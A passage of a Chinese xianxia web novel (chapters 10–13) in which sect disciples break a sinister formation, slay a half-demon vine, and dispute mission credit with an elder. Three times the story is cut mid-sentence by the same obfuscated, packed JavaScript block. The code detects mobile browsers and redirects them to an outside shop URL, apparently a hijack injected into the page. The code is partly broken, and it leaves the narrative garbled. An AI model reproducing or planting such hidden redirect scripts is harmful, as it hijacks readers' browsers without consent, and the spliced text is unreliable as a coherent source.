“杀完魔族分身,他激活了体内母蛊,激活了此地预设的阵法后就逃出城了,”凌昭接口,带着一丝凝重。 悬玉不再多言,几步跨入破庙。地面上的阵法纹路繁复,隐隐透着不祥的气息。 他蹲下身,指尖虚悬在阵法上方,灵力探入,眉头越皱越紧。 凌昭站在他身侧不远处,目光也落在阵法纹路上,状似无意地轻声说:“他这么放心离开去吸收母蛊,这阵法应该不止一层吧。” 悬玉闻言,抬眼看了眼凌昭,见对方神色如常仿佛真的是随意提起,他嗤笑一声。 “凌师妹猜得没错,”他收回目光,指尖在几处阵法节点上虚点,“不止一层。最外层是‘聚煞’,增强阵法;中间是‘引妖’,使妖兽躁动汇聚。” 他顿了顿,语气更冷:“最主要的是,有一层的作用是‘汲灵’。不断吸收灵气反馈阵法主人。” “他虽然是一城之主,这么复杂的阵法怎么可能是他布下的?”长岁宁发问,“而且,这阵法不像是临时布置的啊。” 悬玉这下切切实实地白了他一眼,似乎在说:你才意识到吗,蠢货。 “你能破吗。”北山霁问得直接。 悬玉站起身,拍了拍手,脸上又恢复了那种懒洋洋的神色:“这里除了我,还有谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164928|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能。” 北山霁等人:…… “有点复杂,至少需要半炷香,不能有丝毫干扰。”悬玉淡淡补充。 仿佛为了印证他的话,远处山林中陡然传来一声的兽吼,紧接着,更多的吼叫此起彼伏,或尖锐,或浑厚,大地传来沉闷的震动,妖兽正在逼近。 凌昭神识扫过,城外影影绰绰,幽绿的、赤红的兽瞳闪过,鬼火般若隐若现。 “悬玉专心破阵。”北山霁快速做决策,“我去城外扛住大部分妖兽,宗门那边应该很快会有修士来支援,剩下的麻烦凌师妹带着他们守住这里。” 话落,长岁宁一脸疑惑,为什么大师兄不对着他说?毕竟北山霁一走,在场就剩他一个剑修了啊! 虽然疑惑,他还是猛拍胸脯,自信道:“大师兄放心吧!我虽然才筑基,但剑术又进步了,我一定保护好凌师姐和小乙!” 北山霁看了他一眼,极轻“嗯”了一声,直到看到凌昭点头这才转身飞向城外。 长岁宁挠头,跟从小乙嘀咕道:“小乙,师兄是不是不信任我啊!” 从小乙也神色尴尬,拽了拽他袖子小声说:“不会的。但其实我也觉得凌师姐看着更厉害一点。” “啊?”长岁宁惊讶出声,随即意识到声音有些大了,尬笑一声,小心看了眼凌昭确认对方没有看过来,才继续嘀咕,“小乙你也这样!” 凌昭自然听到了,心中想笑,但想到自己的身份,只能顾及少年面子装作没注意到。 此时,悬玉已经专心开始破阵,北山霁的实力足以压住一波妖兽,破庙这里暂时很安全。凌昭便开始观察悬玉破阵。 她是擅长阵法的,但每一个人破阵的手法都大相径庭,她以往的手法偏“粗暴”,而此时悬玉的手法就偏“精细”,有可以学习的点。 这样看着,凌昭心里开始盘算着,有时间去天机峰听一节长老讲课,她的阵法一道应该能精进不少。 凌昭收起目光,就注意到从小乙正在卜卦,偏瘦弱的身子盘坐着,神情专注的盯着龟甲。 “东南……不对,”从小乙皱眉又抛出铜钱,“西南……也不对。” “怎么了?”凌昭蹲下来轻声询问。 “没、没,师姐我再算算。” 从小乙深吸一口气,再次掷出铜钱,落地的瞬间,她声音陡然拔高:“地下!” 长岁宁脚下不远处,地面“咔嚓”一声裂开数道缝隙,数条暗绿色、生满倒刺的藤蔓钻出,带着破空之声,袭向他们。 “什么鬼东西!”长岁宁惊呼,挥剑斩向袭来的藤蔓,剑身与藤蔓碰撞,竟然发出金铁撞击之声,只斩入小半,便被震出,藤蔓吃痛,剧烈扭动间,反而缠绕上来。 这藤蔓似乎惧怕悬玉周身的阵法力量,其余藤蔓目标明确,分别卷向盘坐的从小乙和站着的凌昭。 凌昭目光一凝,反应极快。迅速拉起从小乙闪避开藤蔓,同时几枚灵刃打出,虽然切断了藤蔓,但其恢复速度也是极快的,仅是瞬间,她就判断出这是潜地妖藤。 根系发达,且移动极快,极其难缠的一种妖兽。 “师弟,找到它移动的主根!” 11. 第十一章 凌昭话音刚落,地下传来更剧烈的震动。 不止一处在翻涌。 越来越多的暗绿藤蔓破土而出,相互纠缠,散发着暴戾的气息,这不是普通的潜地妖藤——它正在异化边缘,称得上半妖化。 凌昭神色凝重,她只听闻有半妖化的存在,那是妖兽进化为妖族的一个中间状态,这是一个很危险的信号。 “小心,这是半妖化的妖藤!” 妖藤发出的嘶鸣声刺耳,似乎盖住了凌昭提醒,长岁宁已经提着剑冲了上去。 “呃啊!” 长剑“哐当”坠地,就见长岁宁死死抱住头颅,棕色的卷发瞬间被冷汗浸透,他痛苦地蜷缩起来,瞬间让自己暴露在藤蔓攻击的范围内。 “长岁宁!”从小乙惊呼,想冲过去拉他,但也才筑基,速度远不够快,另一道身影已经冲出。 瞬息间,凌昭切入长岁宁与妖藤之间。她手中已无桃木剑,千钧一发之际,她左手并指如刀凝聚灵刃逼退缠绕上来的藤蔓,右手同时精准抓住长岁宁的后衣领,腰腹发力,将他整个人向后凌空甩出,堪堪脱离藤蔓的攻击范围。 她足尖顺势一挑,地上长岁宁那柄沉重的长剑飞入她手中。剑入手沉,且完全不顺手,但此刻别无选择。 “小乙师妹照看好他!”凌昭语速极快,目光已经紧紧锁住再次纠缠的藤蔓。 目睹一切的从小乙,下意识接住摔过来的长岁宁,被他身上的冷汗惊得脸色发白,仅仅呆滞一瞬间,她迅速反应过来: “师姐,东南方!” 半妖化的妖藤,主根的移动速度更快,且更加诡异,分化出的藤蔓更是数量剧增。 但凌昭守住了。 在从小乙的方位指引下,加上凌昭的应变,看似笨重的长剑显得灵活无比,每一击都精准地斩下窜逃的藤蔓,没有一条能越过她,威胁到身后的几人。 凌昭剑招大多简单直接。但只有她自己知道,每一次出剑,她脑子里闪过十几种更高效、更省力的破解身法,却又被死死按回心底。 “师姐,小心左前方,”从小乙声音拔高,“那里应该是主根!” 其实无需提醒,凌昭早已感知到,一股令她厌恶的气息急速逼近,快速向上。 她等的就是这一刻! 她眸中闪过一丝兴奋,左脚重重向前踏出一步,全身的力量注入双臂,双手紧握的长剑发出震颤,剑身翻涌着青色灵力狠狠贯入那处地面。 尖锐的痛苦嘶鸣声炸开,地面震颤起来,巨物正在挣扎,以剑刃为中心,暗绿粘稠的汁液咕嘟咕嘟地从裂缝中涌出。 嘶鸣声还在继续,凌昭不敢放松,但还是发生了意外。 这妖藤分化出两条主根! 就在她身后数丈,距离从小乙二人更近的另一处地面,一条稍细却速度更快的主根,毫无征兆地破土而出,直冲痛苦蜷缩着的长岁宁。 “小心!”凌昭想要拔剑回援,可手中重剑被这一条主根死死“咬”住,她强行抽剑,势必会慢错失良机,且自己也会暴露后背带来致命危险。 铜钱急颤的嗡鸣与藤蔓的尖啸几乎同时灌入耳中。从小乙猛地回头,瞳孔里藤蔓尖端急速放大,恐惧拽住了心脏,根本来不及躲避,也不能躲。 她不过筑基初期,那仓促支起的淡薄灵力罩,在半妖化的主根面前,薄如纸。 噗嗤! 刺破血肉的声音传来,藤蔓毫无阻碍地穿过了她瘦弱的肩胛下方,剧烈的疼痛让她眼前一黑,温热的鲜血染红了她的衣襟,也溅了几滴在长岁宁痛苦挣扎的脸上。 从小乙死死咬住了下唇,没有惨叫出声。双手不知哪来的力气,凝聚起最后微薄的灵力,死死抓住了肩前那截蔓身,指甲深深掐入。 她脸色惨白,涣散的目光竭力看向身后的长岁宁,用尽最后的气息,嘶哑喊道: “长……岁宁” “醒醒啊……” 滚烫的鲜血滴落,混合着她微弱呼吸。 “不……” 一声极轻的抗拒声溢出,从长岁宁紧咬的牙关中溢出。 像是打开了什么开关,长岁宁骨骼发出“咯咯”脆响,像是某种更深层的结构在重塑,皮肤之下金色灵光翻涌,他棕色的卷发,从发根开始泛着金色。 “吼!” 一声带着威压的狮吼从灵魂深处传来,肉眼可见的淡金色气浪以长岁宁为中心向四周扩散。 那根主根在这纯粹的威压冲击下,动作骤然僵直,它本能地发出尖细的哀鸣,疯狂地想要后缩逃窜。 气浪中心,长岁宁缓缓睁开了眼睛。 那双眼睛此刻是一片灼灼的金色,冰冷、威严,属于掠食者的瞳孔竖立如针。他头顶,一对毛茸茸的兽耳悄然立起,微微抖动。 他先是轻柔地将虚弱的从小乙揽入怀中,而另一只手缓缓抬起。 那只手,连同半截小臂,此刻已被一层巨大狮爪虚影完全覆盖,金色狮爪虚影随着他抬手的动作,轻轻一探,便抓住了那根逃窜的主根。 只是隔空,轻轻一抓。 嘣! 那条主根,连同尚未撤回地下的部分,瞬间崩碎化为齑粉。 与此同时,另一条被凌昭重剑钉住的主根,瞬间弱了下去想要逃跑。 凌昭岂会放过这机会?她又灌注一波灵力,青色剑气自剑身炸开,将残留的彻底绞碎。 妖藤,至此才算被真正铲除。 凌昭松开剑柄,轻轻吐出一口浊气。虎口被震得发麻,体内灵力也耗去不少。她转身,目光第一时间投向长岁宁那边。 那狮爪虚影已如褪去,露出少年原本的手臂,只是皮肤上还残留着淡淡的金色纹路,头顶的兽耳耷拉着,恢复琥珀色的眼睛里满是担忧和慌乱。 “小乙,小乙……”长岁宁声音发颤,想碰又不敢碰她肩头那个血肉模糊的伤口。 “别慌,”凌昭已快步走近,将剑还给对方,随即指尖探出温和的灵力,迅速封住从小乙伤口周围的穴道止血,又从自己储物戒中取出一枚上品止血生肌的丹药,捏碎一半洒在伤口,另一半喂她服下。 丹药入口,加上灵力疏导,从小乙的呼吸稍微平稳了些,虽然依旧虚弱,但至少脱离了危险。她勉强睁开眼,对长岁宁极轻地摇了摇头,示意自己没事。 长岁宁这才像是被抽空了力气,抱着从小乙的手臂都在抖,后怕与方才那股陌生力量的余悸交织,让他脸上血色尽褪。 凌昭这才仔细打量起长岁宁。稚气脸上还残留着溅上的血点,带着懵懂的惊惶。那对不自觉抖动的金色兽耳,在夜色里……有点扎眼。 她心里一时五味杂陈,最终在心里轻啧。这样憨头憨脑的剑修,竟然觉醒的是三大妖族之一的金狮,而且作为半妖血脉精纯度似乎不低。 啧,这趟任务,真是惊喜不断。 “对、对不起师姐,还、还有小乙,”长岁宁被她看得心里发毛,耳朵都耷拉下来,声音带上了哭腔,“我……我也不知道怎么会这样,我……” “没事没事。”从小乙已经好多了,拽了拽他袖口认真道,“你最后保护了我。” “无碍。”凌昭也点头接话,斟酌着用词,“危机之下,本能反应罢了。这……或许是你命中该有的机缘,不必愧疚。” 悬玉的声音恰在此时从阵法中心幽幽飘来:“啧,打完了?会剑的医修,觉醒的半妖,真精彩啊。” 他指尖最后一道符文落下,阵法应声碎裂。远处被阵法吸引的兽群发出一阵混乱嘶吼,仓皇逃散,退向山林深处。 凌昭正想着怎么把“剑修传承”这事再圆一圆,长岁宁却猛地一拍脑门,那双刚刚还湿漉漉的眼睛“唰”地亮了,连带着兽耳都精神地立起来。 “啊!凌师姐,”他像是发现了什么喜事,兴奋得差点蹦起来,“大师兄之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164929|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前跟我说过,我还猜是什么传承来着,如今一看是剑修的!” 他满脸“原来如此”的雀跃,“嘿嘿!师姐,你可以来我们无极峰学剑了!真的!” 凌昭被他这毫无征兆的兴奋噎了一下。 脑中闪过北山霁那张没什么表情的脸,和他的邀请,她忽然有些哭笑不得。 不愧是师兄弟,都热衷于拉人学剑。 “师姐你可一定要来啊,”长岁宁还在兴奋地规划,仿佛已经看见了美好的未来,“我跟大师兄说,让他教我的时候带上你!这样……这样他盯着我的时候,就不会只盯我一个人了!” 从小乙被逗笑了,小声跟凌昭说着:“他每次练完剑都鼻青脸肿来找我诉苦。” 长岁宁也不觉得丢人,笑得露出一口白牙。 悬玉收了破阵的工具,晃晃悠悠走过来,目光扫过几人,最后落在凌昭脸上,笑吟吟道:“剑修传承?那倒是得恭喜凌师妹了。” 顶着对方探究的目光,浅笑不语。索性,悬玉也没抓着不放,仿佛真心祝福,随后指尖指了指长岁宁的头顶。 “师弟还不收回去?灵界可不是人人都欢迎妖族哦。” 长岁宁一愣,下意识抬手摸了摸,触感温热而陌生。他脸上兴奋的笑容一点点僵住,眼里浮现出茫然与不安。他求助似的看向凌昭,又看看从小乙,“我不会。” 悬玉抱着胳膊,意外没有嘲讽,只是陈述事实:“灵界是人族修士的地盘。飞仙宗算开明,但宗门外呢?那些小宗门、散修,甚至是凡俗城池,见着你这样控制不住特征的半妖,会如何?” 他顿了顿,语气多了嘲讽:“轻则驱逐,重则……抓去当坐骑、炼药。金狮一族名头是大,可你流落在外,谁知道?知道了,又有没有命等到族人来认?” 每一句都像冰冷的石子,砸在刚经历血脉沸腾的少年心上。长岁宁神色僵住。他想起小时候流浪时,那些追打他、骂他“杂种”的身影。原来,即便入了仙门,有些东西也未曾改变。 凌昭沉默片刻才开口,温和声音带着安慰,“师弟刚觉醒,心绪不稳,特征外露实属正常。回宗后,自有师长护持指点。” 她这话既是说给长岁宁听,也是点给悬玉。飞仙宗内,至少明面上无人敢对亲传弟子如何。 悬玉挑眉,不置可否地“呵”了一声,倒也没再继续泼冷水。 就在这气氛微凝的时刻,一声“轰隆”雷声引得几人抬头望去。 暗沉天幕上,一团团雷劫云翻滚着,隐隐雷光闪现,是雷劫云。 “这雷劫……不会是郑德的吧?”长岁宁犹豫出声。 又是一声闷雷般的巨响,并非来自天空,而是来自破庙地下。大地剧震,刚刚阵法中心处猛然向上拱起,土石崩裂,一道身影破土而出,直冲半空。 郑德悬浮在云团之下,周身气息浑浊不堪。他原本的城主袍服早已破碎,裸露的皮肤下,无数发黑的经脉凸起,而他脸庞肿胀,双目赤红如血,几乎看不到眼白。散发着阴寒之气的灵力威压散开,竟真隐隐触摸到了元婴的门槛。 “哈哈……哈哈哈……”漏风般、沙哑的笑声撕扯着几人耳膜,“成功了!这是我的元婴大道!我的大道!” 狂笑声不止,雷劫云还在汇聚,这一场景异常诡异。 数道身影御剑而来,稳稳落在凌昭几人面前。为首之人月白剑袍上沾染着兽血与尘土,正是北山霁。他身后跟着数名同样略带疲色的飞仙宗弟子,显然是刚彻底肃清城外兽潮。 北山霁先是和凌昭对视点头,这才注意到长岁宁的情况,愣了一下才道:“回宗去师尊那一趟。” 没被再次泼冷水,长岁宁感动地直点头。 他就知道大师兄最好了! 众人默契地看向空中。 既然对方走到了雷劫这一步,已经不是他们可以解决的了。 但天道,不会心慈手软。 12. 第十二章 雷劫云乌压压地,本该天光大亮的时辰,硬是被灰暗笼罩。 半空中,郑德周身灵气翻涌,雷劫还没开始,竟隐隐有了元婴气息的雏形。 长岁宁仰头看了一会儿,他忽然凑到凌昭身边:“师姐师姐,这母蛊力量这么强大?不是说元婴很难吗!” 凌昭转头看他一眼,对方眼里没有贪婪,没有恐惧,只有纯粹的好奇,她心中微动,不由勾了勾唇角,还真是有些罕见。 “不是母蛊。” 长岁宁一愣,满脸疑惑。 凌昭没直接解释,反而轻声问:“师弟想知道,我怎么发现他身上有母蛊的吗?” 长岁宁立刻点头。 “郑德激活母蛊时,我玉匣里的子蛊,生机瞬间没了。”凌昭略微停顿,简单解释,“子母蛊之间有感应,母蛊吸收了子蛊的能量。” 长岁宁倒吸一口凉气:“所、所以那些修士体内的蛊虫……” “都是养料。”凌昭补充着,“与其说母蛊给他带来了元婴,不如说他拿全城修士当垫脚石。” 她甚至觉得,如果他们没有杀死魔族分身,他们也会是其中一块垫脚石。 长岁宁张了张嘴,却说不出话。他看了眼凌昭,师姐始终那副温和笑容,可那一瞬间,他竟然觉得这笑容和大师兄有点像,都是那种……让人莫名安心的感觉。 “长岁宁。”北山霁的声音突然砸下来。 长岁宁一激灵,立刻站直:“大师兄!” 北山霁的目光落在他脸上,让长岁宁莫名心虚:“修炼不可走捷径。” 长岁宁连连点头:“我知道我知道!我才不会……”他挠了挠头,又忍不住小声嘀咕,“郑德总不会真成功吧?” 回答他的,是另一道懒洋洋的声音,“让让,让我来助他一臂之力。” 悬玉挤到人群最前,利落地甩出一张扩音符,清了清嗓子。 “咳咳,郑城主——” 扩音符将他的声音放大数倍,清晰地穿透雷云,送到郑德耳中。 郑德狂笑声猛地停顿,阴恻恻的目光锁定下方那个白毛修士,认出是那个讨人厌的符修,他神情更显狰狞,“小辈,找死?” 悬玉不为所动,反而笑吟吟的,是给他师姐下套时的那种笑。 “晚辈不是来找死的,”声音借助扩音符清晰地传入每个人的耳朵,“是来恭喜郑城主的,终于摸到元婴门槛了。” 郑德盯着悬玉似乎在判断这话里几分真假。 悬玉继续道:“晚辈修行时日尚浅,一直有个疑惑想请教郑城主……” 他为了彰显自己的诚心,声音大了些,“您的元婴大道,到底是修来的,还是偷来的?” 此话一落下,郑德却只是略微一僵。 悬玉不等他回答,自顾自往下说:“晚辈入宗这些年,见过不少天才。有人三年筑基,有人十年金丹,有人百岁出头就摸到离窍的门槛。他们靠什么?靠天赋,靠机缘,靠悟性,靠苦修。晚辈第一次见靠‘拿别人当垫脚石’爬上去的。” 郑德脸色明显扭曲,但也只是一瞬。 “你懂什么,”他声音略带嘲讽,“你生来就在飞仙宗,有师长指点,有丹药供给,你当然可以站着说话不腰疼!可你知道我们这些散修、这些小小城主,是怎么熬过来的吗?卡在金丹几百年,眼睁睁看着寿元一天天耗尽,眼睁睁看着那些天才一个个往上爬!” 他指着悬玉,指节泛白:“你!你这种人,永远不会懂!” 雷劫云翻滚,隐隐传出雷声,第一道天雷将近。 悬玉依旧笑吟吟地轻声说:“郑城主,您说对了——我确实不懂。” “可您有没有想过,您卡在金丹几百年,不是因为您不够努力,而是因为……”他忽然停住,摇了摇头,“算了,不说了。” 他说完,真的把扩音符收了起来。 郑德愣了一瞬,很快像是着魔般嘶声喊道:“因为什么!” 悬玉头也不回,只摆了摆手:“说了您也不爱听。” “你说!” 悬玉停下脚步,微微侧头。逆光里,他的白毛被风吹得有些乱,嘴角扯了扯,“因为你道心从最开始就是歪的。” 没有扩音符,但每个人都听到了,包括郑德,那一瞬间,他的神情似乎被冻住了。 雷劫蓄势待发,郑德周身灵力滚动,母蛊的力量正在体内横冲直撞,可他的神情忽然变了,一种垂暮的沧桑。 修士金丹后每突破一个境界,面临的不只是一场雷劫,更是一场道心的考验。 “道心……”郑德哑着声音重复,“道心是歪的,哈哈哈哈哈……” 他低头看了看自己的手,认真端详起来,溃烂的皮肤下似乎有东西在蠕动。 “说得对啊,说的对啊。”他忽然冲着悬玉方向喊道。 悬玉微微挑眉,轻啧一声有些意外这个反应, “小辈,你们以为……我不知道?”他的声音忽然平静下来,没有狂躁、恼怒,他目光扫过下方那五个人。扫过悬玉,扫过北山霁,最后在凌昭身上停了一瞬。 “你们以为我做了这些事,是因为蠢?是因为被魔族骗了?”他扯了扯嘴角,“我知道,从头到尾,我都知道。” 飞仙宗的这群弟子都安静下来,凌昭先前只是看戏,悬玉的做法在她意料之中,但郑德的反应,还真让人意外。 “我知道那些子蛊是怎么来的,知道那些修士会死,知道魔族许我的元婴不过是一个饵,”郑德的声音渐渐低下去,像是在自言自语,“可我还是做了。” 他抬头看向天空,雷劫云已经压得极低,天雷就要降下。 “我等了太久。就算是错的又如何!”他忽然笑了,有点破罐子破摔的坦然,“我郑德是死去的元婴修士!不是金丹!” 雷声轰鸣。 天雷劈下,贯穿天地的白光将他的身影照得刺眼。 他没有躲,只是天雷劈下的瞬间,他掷出一团灵力包裹着的东西,直冲凌昭。 那团东西破空而来,速度极快,凌昭几乎是本能地飞身而起,玉匣已经在掌心翻开,在那团东西即将砸到她面门的前一瞬,匣口对准,灵力一吸。 “啪” 匣盖合拢。 雷光散去,天光大亮,半空中空无一人。 “是活着的母蛊。”凌昭扬了扬玉匣,嘴角弯了弯。 众人沉默了一瞬。长岁宁张嘴想说点什么,又不知该说什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178595|196664||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只好闭上。 悬玉看了一眼面无表情张嘴吐出“愚蠢”二字,头也不回地离开,只是脚步快了些许。 这场雷劫结束,那些外援的弟子向北山霁知会一声就匆匆离开,来去匆匆。 “郑德曾是外门弟子。”北山霁突然开口。 凌昭迈开的步伐顿住,环顾一周只有北山霁和自己落在最后。 “后来叛宗出逃,他原本可以升入内门的。” 凌昭双眼眨了一下,顺势问:“因什么叛宗?” 北山霁摇头,“宗门史册记载。” 凌昭点头不再多言,飞仙宗是古老大宗,能找到一句记载已是不易,还是个外门弟子的记载。 . 回到飞仙宗,执事峰依旧人来人往。 执事峰侧殿里,执事长老捏着那枚记录了清心城全程的玉简,死死皱着眉头。 “修复阵法、清理妖兽……”他念着任务原要求,又抬眼看向面前几人,“你们倒好,破的阵法,妖兽也请了外援,顺带还牵扯出魔族。蛊虫。” 他顿了顿,目光扫视一圈,最后落在凌昭身上:“你们说,这任务让老夫怎么评定?” 悬玉敲了敲桌面,幽幽开口:“阵法不破兽潮不止,我还无端损失了阵法材料。我的积分是不能少的。” 长岁宁还没收回兽耳,无意识地抖了抖耳朵,讨好般开口:“淮长老,这清理妖兽那部分积分,我和小乙可以和那些支援的同门平分。” 淮长老瞥他一眼,没接话,目光转向凌昭。 凌昭从袖中取出那只玉匣,放在桌上:“这只母蛊可供宗门研究,毕竟事关魔族,长老看着给积分即可。” 淮长老盯着那只玉匣,神色微微松动,但也只是一瞬。 他捋了捋胡须,语气硬邦邦:“可这……确实与任务要求不符,就算你们是亲传,也不能坏了规矩啊。” “啊?”长岁宁一脸震惊,“淮长老,任务变动也是没办法的事,我们……” “没办法?”淮长老打断他,语调微微上扬,“任务颁出去的时候写得明明白白,你们倒好,擅自牵扯进魔族的事里,这要是人人都像你们这般,执事峰的规矩还要不要了?” 长岁宁被噎得说不出话,憋红了脸,想要理论却被从小乙拉住袖口,看着她摇头的动作,这才意识到“冲撞长老”是要扣灵石的。 凌昭微微垂眸,目光落在对方腰间的玉牌上。 淮。 和淮清月一样姓淮。 凌昭心中了然,眼底闪过嘲讽,还真是“家大遮天”。 悬玉挑了挑眉,似笑非笑地开口:“淮长老这话说的,好像我们是故意去招惹魔族似的。” 他顿了顿,明着嘲讽:“要不这样,下次遇上魔族,我们先问问对方,‘你稍等,容我回宗请示一下执事峰,看看这任务包不包含打魔族?要是说不包含,我们就站着让魔族杀,您看行吗?’” “你!”淮长老脸色一沉,“不行就是不行,只要今天是我值守,就是不行!” 就在这时,一道月白身影踏入殿内。 凌昭率先回头,正好对上北山霁的视线。 她有些意外,回宗时他匆匆离开,怎么又来了? 13. 第十三章 北山霁一脸平静地拿出一块玉牌,淮长老目光触及的瞬间,这下脸色彻底变了。 “这……这是……”淮长老抹了抹不存在的冷汗,声音都低了下来,“怎么还惊动了宗主。” 长岁宁眼睛一亮,下意识往北山霁身边挪了半步,小声嘟囔:“大师兄来了就好……”他认得那块令牌,是宗主令牌,他经常见师尊挂在腰间,想来是大师兄特地向师尊求来的。 凌昭余光打量着北山霁平静神色,默默往后退了退,掩盖住诧异神色,他当真是尽职尽责的师兄。 淮长老脸上哪还有倨傲神色,反而堆起来笑脸,干笑了两声:“北山师侄,你看这事……北山师侄,这……这不过是个任务评定的小事,何必惊动宗主。” “淮长老多虑了。”北山霁将令牌收回袖中,“宗主听闻清心城一事涉及魔族,特命我将此令牌带来,还希望长老认真评判,若有异常可酌情处置。” 淮长老面色一僵,嘴角抽了抽,硬是没接上话。 “这,”他话里带上了商量的意味,“老夫方才也只是按规矩办事,并无刁难之意。” “淮长老言重了。”北山霁打断他,语气听上去很是恭敬,“淮长老是今日值守长老,如何评定,仍是长老决断。” 说完,他就站在那里,似乎真的只是来传宗主口令。 凌昭嘴角不经意弯起,长老就长老吧,还强调“值守”长老。 执事峰的长老众多,淮长老并不是权利最大那个,这句话说不是敲打,谁信? 淮长老嘴唇动了动,脸色肉眼可见的难堪起来。 他重新拿起那枚玉简,又看了一遍——这一次,看得格外仔细。 “这个……”他斟酌着开口,“清心城一事,虽然与任务原要求略有出入,但……事出有因,且涉及魔族,事关重大,确实不能按寻常任务评定。” 他顿了顿,飞快地瞥了一眼北山霁,见对方依旧面无表情,又继续道: “依老夫看,这任务按‘超额完成’评定,积分加倍。诸位师侄以为如何?” 说是“诸位”,但淮长老的目光始终落在北山霁身上,其他人的看法并不重要。 见北山霁神色并无异样,淮长老如释重负地舒了口气,取下腰间玉牌,灵力注入,玉牌亮起。 “各自领走。” 悬玉第一个打开自己的玉牌看了一眼,嘲讽道:“淮氏出身的人果然明察秋毫。” 但淮长老脸色一变,也只是干笑了两声,没接茬。 长岁宁看到自己多出的积分,眼睛都亮了:“这么多!” 他下意识想凑过去看悬玉的,被对方一巴掌按在脸上推开。 从小乙看到数字唇角也跟着弯了弯。 凌昭看了眼玉牌,正好看到云华的传讯。 “曦儿,回峰记得把母蛊带上。” 凌昭回了“好”,就笑着和淮长老解释了一下,拿走了桌上的玉匣,自动忽略对方难看的脸色。 玉衡峰峰主发话,淮长老不敢多说,更何况宗门内也只有玉衡峰适合研究这蛊虫。 凌昭走出执事堂,长岁宁几人已经先一步离开。她正要往玉衡峰方向走,余光却瞥见北山霁站在侧殿门外,似乎在等什么人。 她脚步微顿。 他还没走? “师兄?她走近两步,有些惊讶,“师兄怎么还没走?” “等你。”他说。 凌昭一愣。 北山霁似乎没觉得这两个字有什么不妥,从袖中取出一枚环形玉佩递给她,“凭这枚玉佩可随时进入无极峰。” “啊?”凌昭下意识疑惑出声,迟疑地接过玉佩,那玉佩通体白润,隐隐能感觉到流转的温和灵力。 就算可以进出,给的应该也是通行玉牌才对。 “我同师尊申请了,”北山霁耐心解释,“宗门规定,入其他峰学习需要向峰主申请。” 他顿了顿又补充道,“你可以随时来无极峰学剑,这枚玉佩可以直接找到我。” 凌昭握着玉佩的手微微一顿。 直接……找到他? 她压下那丝古怪的感觉,弯了弯嘴角:“多谢师兄。师兄费心了。我一定不浪费这剑修传承。” 北山霁“嗯”了一声,试探问道:“走走?我同你说一些无极峰的事宜。” 凌昭握着那枚温润的玉佩,抬眼看他。 她弯了弯嘴角:“好啊。”正好她也有事要打听,干站在这也不太好。 两人并肩往前走,方向是玉衡峰,步子迈得自然,显然是打算顺路送她回去。 “无极峰的规矩不多。”北山霁开口,语气一如既往的平淡,“晨课卯时开始,你若来,不必刻意赶早,随到随学。” 凌昭点头。 “剑术教习有三位。”他继续说,“钱长老主攻基础剑式,赵长老擅实战对练,储长老讲授剑理。” 说着北山霁没有了声音,凌昭余光疑惑打量对方,对视瞬间,他补充道: “我事情多,不一定每次都在。” 此话一落,凌昭脑子转了转,笑着开口:“那我以后可要趁师兄在的时候多多请教了。” 才怪。 她嘴上说着,心里却想:最好别碰上。她对北山霁的出剑太熟悉了,万一哪天本能反应用出散修时的路数,麻烦就大了。 北山霁轻“嗯”一声,二人短暂沉默一瞬。 凌昭开口,道出了自己真实目的:“师兄,不知修习宗门‘镇岳剑诀’的门槛是什么?”她可没忘记自己入宗的原因,至少到现在凶手一事还没有实质性的进展。 太慢了。 北山霁沉默一瞬,缓缓开口:“通过宗门的‘剑心试炼塔’前十八层。” 凌昭点头,她确实听说过飞仙宗的剑心试练塔。 随着北山霁的介绍,凌昭大概了解了。 剑心试练塔共三十五层,每一层的考验随机。不过前八层主要考验剑术基础,九到十八层是剑意领悟,之后便是剑心的逐步考验。 “你应当还没有得手的剑?”北山霁话锋一转。 凌昭虽然疑惑但还是点头。 不是隐瞒,她确实没有找到本命剑。师父存泽说,她的本命剑机缘还没到,所以随手扔给她一把青竹杖,以杖代剑。 北山霁继续说着。 “通关前八层可以前往剑冢,若有机缘,可得灵剑认主,甚至是本命剑。” 凌昭眼睛微微一亮,多好的白嫖机会。 飞仙宗溯源可至万年前,剑冢更是历代先贤留下灵剑的地方,四界名剑不少都在剑冢里等待择主。 镇岳剑诀她定是要得到的,顺便白嫖一把灵剑,也算是这趟潜伏的补偿了。 “那师兄剑心试练塔如何进入呢?”凌昭问着,对上对方目光时脸上的笑意真切了些许。 北山霁上下眼皮似乎有一瞬间打颤,移开目光才回道:“每三年开放一次,如今还有一个月,金丹以上 